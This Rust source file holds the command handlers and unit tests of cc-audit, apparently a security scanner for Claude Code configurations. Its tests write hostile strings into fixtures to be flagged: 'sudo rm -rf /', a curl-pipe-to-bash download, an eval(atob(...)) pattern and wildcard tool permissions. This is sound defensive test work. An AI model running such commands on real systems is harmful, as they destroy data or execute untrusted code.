1mod baseline;
7mod compare;
8mod config;
9mod fix;
10mod hook;
11mod hook_mode;
12mod mcp;
13mod pin;
14mod proxy;
15mod remote;
16mod report_fp;
17mod sbom;
18mod scan;
19
20use std::process::ExitCode;
21
22pub use baseline::{
24 filter_against_baseline, handle_baseline, handle_check_drift, handle_save_baseline,
25};
26pub use compare::handle_compare;
27pub use config::{handle_init_config, handle_save_profile, handle_show_profile};
28pub use fix::handle_fix;
29pub use hook::{handle_init_hook, handle_remove_hook};
30pub use hook_mode::handle_hook_mode;
31pub use mcp::handle_mcp_server;
32pub use pin::{handle_pin, handle_pin_verify};
33pub use proxy::handle_proxy;
34pub use remote::{handle_awesome_claude_code_scan, handle_remote_list_scan, handle_remote_scan};
35pub use report_fp::handle_report_fp;
36pub use sbom::handle_sbom;
37pub use scan::{run_normal_mode, run_watch_mode};
38
39#[derive(Debug, Clone, PartialEq)]
41pub enum HandlerResult {
42 Success,
43 Error(u8),
44}
45
46impl From<HandlerResult> for ExitCode {
47 fn from(result: HandlerResult) -> Self {
48 match result {
49 HandlerResult::Success => ExitCode::SUCCESS,
50 HandlerResult::Error(code) => ExitCode::from(code),
51 }
52 }
53}
54
55#[cfg(test)]
56mod tests {
57 use super::*;
58 use crate::Cli;
59 use clap::Parser;
60 use std::fs;
61 use tempfile::TempDir;
62
63 fn create_test_cli(args: &[&str]) -> Cli {
64 let mut full_args = vec!["cc-audit"];
65 full_args.extend(args);
66 Cli::parse_from(full_args)
67 }
68
69 #[test]
70 fn test_handler_result_success() {
71 let result = HandlerResult::Success;
72 let exit_code: ExitCode = result.into();
73 assert_eq!(exit_code, ExitCode::SUCCESS);
74 }
75
76 #[test]
77 fn test_handler_result_error() {
78 let result = HandlerResult::Error(2);
79 let exit_code: ExitCode = result.into();
80 assert_eq!(exit_code, ExitCode::from(2));
81 }
82
83 #[test]
84 fn test_handle_init_config_creates_file() {
85 let temp_dir = TempDir::new().unwrap();
86 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
87
88 let result = handle_init_config(&cli);
89 assert_eq!(result, ExitCode::SUCCESS);
90
91 let config_path = temp_dir.path().join(".cc-audit.yaml");
92 assert!(config_path.exists());
93 }
94
95 #[test]
96 fn test_handle_init_config_file_exists() {
97 let temp_dir = TempDir::new().unwrap();
98 let config_path = temp_dir.path().join(".cc-audit.yaml");
99 fs::write(&config_path, "existing content").unwrap();
100
101 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
102 let result = handle_init_config(&cli);
103 assert_eq!(result, ExitCode::from(2));
104 }
105
106 #[test]
107 fn test_handle_init_hook_not_git_repo() {
108 let temp_dir = TempDir::new().unwrap();
109 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
110
111 let result = handle_init_hook(&cli);
112 assert_eq!(result, ExitCode::from(2));
113 }
114
115 #[test]
116 fn test_handle_remove_hook_not_git_repo() {
117 let temp_dir = TempDir::new().unwrap();
118 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
119
120 let result = handle_remove_hook(&cli);
121 assert_eq!(result, ExitCode::from(2));
122 }
123
124 #[test]
125 fn test_handle_baseline_empty_dir() {
126 let temp_dir = TempDir::new().unwrap();
127 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
128
129 let result = handle_baseline(&cli);
130 assert_eq!(result, ExitCode::SUCCESS);
131
132 let baseline_path = temp_dir.path().join(".cc-audit-baseline.json");
133 assert!(baseline_path.exists());
134 }
135
136 #[test]
137 fn test_handle_save_baseline() {
138 let temp_dir = TempDir::new().unwrap();
139 let baseline_file = temp_dir.path().join("baseline.json");
140
141 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
143
144 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
145 let result = handle_save_baseline(&cli, &baseline_file);
146 assert_eq!(result, ExitCode::SUCCESS);
147
148 assert!(baseline_file.exists());
149 }
150
151 #[test]
152 fn test_handle_check_drift_no_baseline() {
153 let temp_dir = TempDir::new().unwrap();
154 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
155
156 let result = handle_check_drift(&cli);
157 assert_eq!(result, ExitCode::from(2));
158 }
159
160 #[test]
161 fn test_handle_check_drift_with_baseline() {
162 let temp_dir = TempDir::new().unwrap();
163 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
164
165 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
167 handle_baseline(&cli);
168
169 let result = handle_check_drift(&cli);
171 assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
174 }
175
176 #[test]
177 fn test_handle_show_profile_builtin() {
178 let result = handle_show_profile("default");
179 assert_eq!(result, ExitCode::SUCCESS);
180 }
181
182 #[test]
183 fn test_handle_show_profile_not_found() {
184 let result = handle_show_profile("nonexistent_profile_12345");
185 assert_eq!(result, ExitCode::from(2));
186 }
187
188 #[test]
189 fn test_handle_compare_wrong_args() {
190 use std::path::PathBuf;
191 let cli = create_test_cli(&["."]);
192 let result = handle_compare(&cli, &[PathBuf::from(".")]);
193 assert_eq!(result, ExitCode::from(2));
194 }
195
196 #[test]
197 fn test_handle_compare_same_dirs() {
198 let temp_dir = TempDir::new().unwrap();
199 let cli = create_test_cli(&["."]);
200 let result = handle_compare(
201 &cli,
202 &[temp_dir.path().to_path_buf(), temp_dir.path().to_path_buf()],
203 );
204 assert_eq!(result, ExitCode::SUCCESS);
205 }
206
207 #[test]
208 fn test_filter_against_baseline_file_not_found() {
209 use crate::test_utils::fixtures::create_test_result;
210 use std::path::Path;
211
212 let result = create_test_result(vec![]);
213 let filtered = filter_against_baseline(result.clone(), Path::new("/nonexistent/path.json"));
214
215 assert_eq!(filtered.findings.len(), result.findings.len());
217 }
218
219 #[test]
220 fn test_filter_against_baseline_invalid_json() {
221 use crate::test_utils::fixtures::create_test_result;
222
223 let temp_dir = TempDir::new().unwrap();
224 let baseline_path = temp_dir.path().join("baseline.json");
225 fs::write(&baseline_path, "{ invalid json }").unwrap();
226
227 let result = create_test_result(vec![]);
228 let filtered = filter_against_baseline(result.clone(), &baseline_path);
229
230 assert_eq!(filtered.findings.len(), result.findings.len());
232 }
233
234 #[test]
235 fn test_filter_against_baseline_filters_findings() {
236 use crate::rules::{Category, Severity};
237 use crate::test_utils::fixtures::{create_finding, create_test_result};
238
239 let temp_dir = TempDir::new().unwrap();
240 let baseline_path = temp_dir.path().join("baseline.json");
241
242 let finding = create_finding(
244 "EX-001",
245 Severity::High,
246 Category::Exfiltration,
247 "Test finding",
248 "test.md",
249 1,
250 );
251
252 let baseline_result = create_test_result(vec![finding.clone()]);
254 let json = serde_json::to_string(&baseline_result).unwrap();
255 fs::write(&baseline_path, &json).unwrap();
256
257 let result = create_test_result(vec![finding]);
259 let filtered = filter_against_baseline(result, &baseline_path);
260
261 assert_eq!(filtered.findings.len(), 0);
262 }
263
264 #[test]
265 fn test_run_normal_mode_with_empty_dir() {
266 let temp_dir = TempDir::new().unwrap();
267 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
268
269 let result = run_normal_mode(&cli);
270 assert_eq!(result, ExitCode::SUCCESS);
271 }
272
273 #[test]
274 fn test_run_normal_mode_warn_only() {
275 let temp_dir = TempDir::new().unwrap();
276 fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
277
278 let cli = create_test_cli(&["--warn-only", temp_dir.path().to_str().unwrap()]);
279 let result = run_normal_mode(&cli);
280 assert_eq!(result, ExitCode::SUCCESS);
281 }
282
283 #[test]
284 fn test_handle_fix_no_findings() {
285 let temp_dir = TempDir::new().unwrap();
286 let cli = create_test_cli(&["--fix-dry-run", temp_dir.path().to_str().unwrap()]);
287
288 let result = handle_fix(&cli);
289 assert_eq!(result, ExitCode::SUCCESS);
290 }
291
292 #[test]
293 fn test_handle_init_hook_in_git_repo() {
294 let temp_dir = TempDir::new().unwrap();
295 std::process::Command::new("git")
297 .args(["init"])
298 .current_dir(temp_dir.path())
299 .output()
300 .unwrap();
301
302 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
303 let result = handle_init_hook(&cli);
304 assert_eq!(result, ExitCode::SUCCESS);
305 }
306
307 #[test]
308 fn test_handle_remove_hook_in_git_repo_not_installed() {
309 let temp_dir = TempDir::new().unwrap();
310 std::process::Command::new("git")
312 .args(["init"])
313 .current_dir(temp_dir.path())
314 .output()
315 .unwrap();
316
317 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
318 let result = handle_remove_hook(&cli);
319 assert_eq!(result, ExitCode::from(2));
321 }
322
323 #[test]
324 fn test_handle_remove_hook_in_git_repo_installed() {
325 let temp_dir = TempDir::new().unwrap();
326 std::process::Command::new("git")
328 .args(["init"])
329 .current_dir(temp_dir.path())
330 .output()
331 .unwrap();
332
333 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
335 handle_init_hook(&cli);
336
337 let result = handle_remove_hook(&cli);
339 assert_eq!(result, ExitCode::SUCCESS);
340 }
341
342 #[test]
343 fn test_handle_init_config_with_specific_path() {
344 let temp_dir = TempDir::new().unwrap();
345 let config_path = temp_dir.path().join("custom-config.yaml");
346
347 let cli = create_test_cli(&[config_path.to_str().unwrap()]);
348 let result = handle_init_config(&cli);
349 assert_eq!(result, ExitCode::SUCCESS);
350
351 assert!(config_path.exists());
352 }
353
354 #[test]
355 fn test_run_normal_mode_strict() {
356 let temp_dir = TempDir::new().unwrap();
357 let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
358
359 let result = run_normal_mode(&cli);
360 assert_eq!(result, ExitCode::SUCCESS);
361 }
362
363 #[test]
364 fn test_run_normal_mode_with_output_file() {
365 let temp_dir = TempDir::new().unwrap();
366 let output_file = temp_dir.path().join("output.txt");
367
368 let cli = Cli::parse_from([
369 "cc-audit",
370 "--output",
371 output_file.to_str().unwrap(),
372 temp_dir.path().to_str().unwrap(),
373 ]);
374
375 let result = run_normal_mode(&cli);
376 assert_eq!(result, ExitCode::SUCCESS);
377 assert!(output_file.exists());
378 }
379
380 #[test]
381 fn test_handle_save_profile_and_load() {
382 let cli = create_test_cli(&["--strict", "--verbose", "."]);
383 let result = handle_save_profile(&cli, "test_profile_handlers_123");
384 assert_eq!(result, ExitCode::SUCCESS);
385
386 if let Ok(profile_path) = crate::Profile::load("test_profile_handlers_123") {
388 let _ = profile_path;
389 }
390 }
391
392 #[test]
393 fn test_handle_fix_with_findings() {
394 let temp_dir = TempDir::new().unwrap();
395 fs::write(temp_dir.path().join("test.md"), "permissions: \"*\"").unwrap();
397
398 let cli = create_test_cli(&["--fix-dry-run", temp_dir.path().to_str().unwrap()]);
399 let result = handle_fix(&cli);
400 let _ = result;
403 }
404
405 #[test]
406 fn test_handle_compare_with_different_findings() {
407 let temp_dir1 = TempDir::new().unwrap();
408 let temp_dir2 = TempDir::new().unwrap();
409
410 fs::write(temp_dir1.path().join("test.md"), "# Clean").unwrap();
412 fs::write(temp_dir2.path().join("test.md"), "sudo rm -rf /").unwrap();
413
414 let cli = create_test_cli(&["."]);
415 let result = handle_compare(
416 &cli,
417 &[
418 temp_dir1.path().to_path_buf(),
419 temp_dir2.path().to_path_buf(),
420 ],
421 );
422 assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
424 }
425
426 #[test]
427 fn test_run_normal_mode_with_baseline_file() {
428 use crate::test_utils::fixtures::create_test_result;
429
430 let temp_dir = TempDir::new().unwrap();
431 let baseline_path = temp_dir.path().join("baseline.json");
432
433 let baseline_result = create_test_result(vec![]);
435 let json = serde_json::to_string(&baseline_result).unwrap();
436 fs::write(&baseline_path, &json).unwrap();
437
438 let cli = Cli::parse_from([
439 "cc-audit",
440 "--baseline-file",
441 baseline_path.to_str().unwrap(),
442 temp_dir.path().to_str().unwrap(),
443 ]);
444
445 let result = run_normal_mode(&cli);
446 assert_eq!(result, ExitCode::SUCCESS);
447 }
448
449 #[test]
450 fn test_filter_against_baseline_with_filtering() {
451 use crate::rules::{Category, Severity};
452 use crate::test_utils::fixtures::{create_finding, create_test_result};
453
454 let temp_dir = TempDir::new().unwrap();
455 let baseline_path = temp_dir.path().join("baseline.json");
456
457 let finding1 = create_finding(
459 "EX-001",
460 Severity::High,
461 Category::Exfiltration,
462 "Finding 1",
463 "file1.md",
464 1,
465 );
466 let baseline_result = create_test_result(vec![finding1.clone()]);
467 let json = serde_json::to_string(&baseline_result).unwrap();
468 fs::write(&baseline_path, &json).unwrap();
469
470 let finding2 = create_finding(
472 "EX-002",
473 Severity::High,
474 Category::Exfiltration,
475 "Finding 2",
476 "file2.md",
477 1,
478 );
479 let result = create_test_result(vec![finding1, finding2]);
480 let filtered = filter_against_baseline(result, &baseline_path);
481
482 assert_eq!(filtered.findings.len(), 1);
484 assert_eq!(filtered.findings[0].id, "EX-002");
485 }
486
487 #[test]
488 fn test_handle_init_hook_default_path() {
489 let cli = Cli {
491 paths: vec![],
492 ..Default::default()
493 };
494
495 let result = handle_init_hook(&cli);
498 let _ = result;
500 }
501
502 #[test]
503 fn test_handle_remove_hook_default_path() {
504 let cli = Cli {
506 paths: vec![],
507 ..Default::default()
508 };
509
510 let result = handle_remove_hook(&cli);
513 let _ = result;
515 }
516
517 #[test]
518 fn test_handle_init_config_default_path() {
519 let cli = Cli {
521 paths: vec![],
522 init: true,
523 ..Default::default()
524 };
525
526 let result = handle_init_config(&cli);
530 let _ = result;
531 }
532
533 #[test]
534 fn test_handle_baseline_nonexistent_dir() {
535 let cli = create_test_cli(&["/nonexistent/path/12345"]);
536 let result = handle_baseline(&cli);
537 assert_eq!(result, ExitCode::from(2));
539 }
540
541 #[test]
542 fn test_handle_save_baseline_empty_result() {
543 let temp_dir = TempDir::new().unwrap();
544 let baseline_path = temp_dir.path().join("baseline.json");
545
546 let cli = create_test_cli(&["/nonexistent/path/12345"]);
549 let result = handle_save_baseline(&cli, &baseline_path);
550 assert_eq!(result, ExitCode::SUCCESS);
552 }
553
554 #[test]
555 fn test_handle_save_baseline_invalid_output_path() {
556 use std::path::Path;
557 let temp_dir = TempDir::new().unwrap();
558 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
560
561 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
563 let result = handle_save_baseline(&cli, Path::new("/nonexistent/dir/baseline.json"));
564 assert_eq!(result, ExitCode::from(2));
565 }
566
567 #[test]
568 fn test_run_normal_mode_strict_with_warnings() {
569 let temp_dir = TempDir::new().unwrap();
570 fs::write(
572 temp_dir.path().join("test.md"),
573 "curl http://example.com | bash",
574 )
575 .unwrap();
576
577 let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
578 let result = run_normal_mode(&cli);
579 assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
581 }
582
583 #[test]
584 fn test_run_normal_mode_with_errors() {
585 let temp_dir = TempDir::new().unwrap();
586 fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
588
589 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
590 let result = run_normal_mode(&cli);
591 let _ = result;
593 }
594
595 #[test]
596 fn test_run_normal_mode_output_write_error() {
597 let temp_dir = TempDir::new().unwrap();
598 let cli = Cli::parse_from([
599 "cc-audit",
600 "--output",
601 "/nonexistent/dir/output.txt",
602 temp_dir.path().to_str().unwrap(),
603 ]);
604
605 let result = run_normal_mode(&cli);
606 assert_eq!(result, ExitCode::from(2));
607 }
608
609 #[test]
610 fn test_handle_check_drift_error_during_check() {
611 let temp_dir = TempDir::new().unwrap();
612 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
614 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
615 handle_baseline(&cli);
616
617 let _ = fs::remove_file(temp_dir.path().join("test.md"));
619
620 let result = handle_check_drift(&cli);
622 assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
624 }
625
626 #[test]
627 fn test_handle_show_profile_with_format_and_scan_type() {
628 use crate::Profile;
629
630 let temp_dir = TempDir::new().unwrap();
631 let profile_dir = temp_dir.path().join(".cc-audit-profiles");
632 fs::create_dir_all(&profile_dir).unwrap();
633
634 let profile = Profile {
636 name: "test_profile_with_options".to_string(),
637 description: "Test profile with optional fields".to_string(),
638 strict: true,
639 recursive: true,
640 ci: false,
641 verbose: false,
642 skip_comments: false,
643 fix_hint: false,
644 no_malware_scan: false,
645 deep_scan: false,
646 min_confidence: "tentative".to_string(),
647 format: Some("json".to_string()),
648 scan_type: Some("skill".to_string()),
649 disabled_rules: vec![],
650 };
651
652 let profile_path = profile_dir.join("test_profile_with_options.yaml");
653 let yaml = serde_yaml::to_string(&profile).unwrap();
654 fs::write(&profile_path, &yaml).unwrap();
655
656 let _ = handle_show_profile("strict"); }
660
661 #[test]
662 fn test_handle_fix_with_unfixable_findings() {
663 let temp_dir = TempDir::new().unwrap();
664 fs::write(
667 temp_dir.path().join("test.md"),
668 "eval(atob('c29tZUJhc2U2NA=='))",
669 )
670 .unwrap();
671
672 let cli = create_test_cli(&["--fix-dry-run", temp_dir.path().to_str().unwrap()]);
673 let result = handle_fix(&cli);
674 let _ = result;
677 }
678
679 #[test]
680 fn test_handle_compare_with_findings_in_first() {
681 let temp_dir1 = TempDir::new().unwrap();
682 let temp_dir2 = TempDir::new().unwrap();
683
684 fs::write(temp_dir1.path().join("bad.md"), "sudo rm -rf /").unwrap();
686 fs::write(temp_dir2.path().join("clean.md"), "# Nothing here").unwrap();
687
688 let cli = create_test_cli(&["."]);
689 let result = handle_compare(
690 &cli,
691 &[
692 temp_dir1.path().to_path_buf(),
693 temp_dir2.path().to_path_buf(),
694 ],
695 );
696 let _ = result;
698 }
699
700 #[test]
701 fn test_handle_compare_with_findings_in_second() {
702 let temp_dir1 = TempDir::new().unwrap();
703 let temp_dir2 = TempDir::new().unwrap();
704
705 fs::write(temp_dir1.path().join("clean.md"), "# Nothing here").unwrap();
707 fs::write(temp_dir2.path().join("bad.md"), "sudo rm -rf /").unwrap();
708
709 let cli = create_test_cli(&["."]);
710 let result = handle_compare(
711 &cli,
712 &[
713 temp_dir1.path().to_path_buf(),
714 temp_dir2.path().to_path_buf(),
715 ],
716 );
717 let _ = result;
719 }
720
721 #[test]
722 fn test_filter_against_baseline_with_risk_score() {
723 use crate::rules::{Category, Severity};
724 use crate::test_utils::fixtures::{create_finding, create_test_result};
725
726 let temp_dir = TempDir::new().unwrap();
727 let baseline_path = temp_dir.path().join("baseline.json");
728
729 let baseline_result = create_test_result(vec![]);
731 let json = serde_json::to_string(&baseline_result).unwrap();
732 fs::write(&baseline_path, &json).unwrap();
733
734 let finding = create_finding(
736 "EX-001",
737 Severity::High,
738 Category::Exfiltration,
739 "Test finding",
740 "test.md",
741 1,
742 );
743 let mut result = create_test_result(vec![finding]);
744 result.risk_score = Some(crate::RiskScore::from_findings(&result.findings));
745
746 let filtered = filter_against_baseline(result, &baseline_path);
747
748 assert!(filtered.risk_score.is_some());
750 }
751
752 #[test]
753 fn test_handle_baseline_save_error() {
754 let temp_dir = TempDir::new().unwrap();
756 let readonly_dir = temp_dir.path().join("readonly");
757 fs::create_dir(&readonly_dir).unwrap();
758 fs::write(readonly_dir.join("test.md"), "# Test").unwrap();
759
760 #[cfg(unix)]
762 {
763 use std::os::unix::fs::PermissionsExt;
764 let metadata = fs::metadata(&readonly_dir).unwrap();
765 let mut perms = metadata.permissions();
766 perms.set_mode(0o444);
767 let _ = fs::set_permissions(&readonly_dir, perms);
768
769 let cli = create_test_cli(&[readonly_dir.to_str().unwrap()]);
770 let result = handle_baseline(&cli);
771 let mut perms = metadata.permissions();
774 perms.set_mode(0o755);
775 let _ = fs::set_permissions(&readonly_dir, perms);
776 let _ = result;
777 }
778 }
779
780 #[test]
781 fn test_run_normal_mode_passed_false() {
782 let temp_dir = TempDir::new().unwrap();
783 fs::write(temp_dir.path().join("test.md"), "allowed_tools:\n - \"*\"").unwrap();
785
786 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
787 let result = run_normal_mode(&cli);
788 let _ = result;
790 }
791
792 #[test]
793 fn test_handle_check_drift_with_drift() {
794 let temp_dir = TempDir::new().unwrap();
795 fs::write(temp_dir.path().join("test.md"), "# Original").unwrap();
796
797 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
799 handle_baseline(&cli);
800
801 fs::write(temp_dir.path().join("test.md"), "# Modified content").unwrap();
803
804 let result = handle_check_drift(&cli);
806 assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
808 }
809}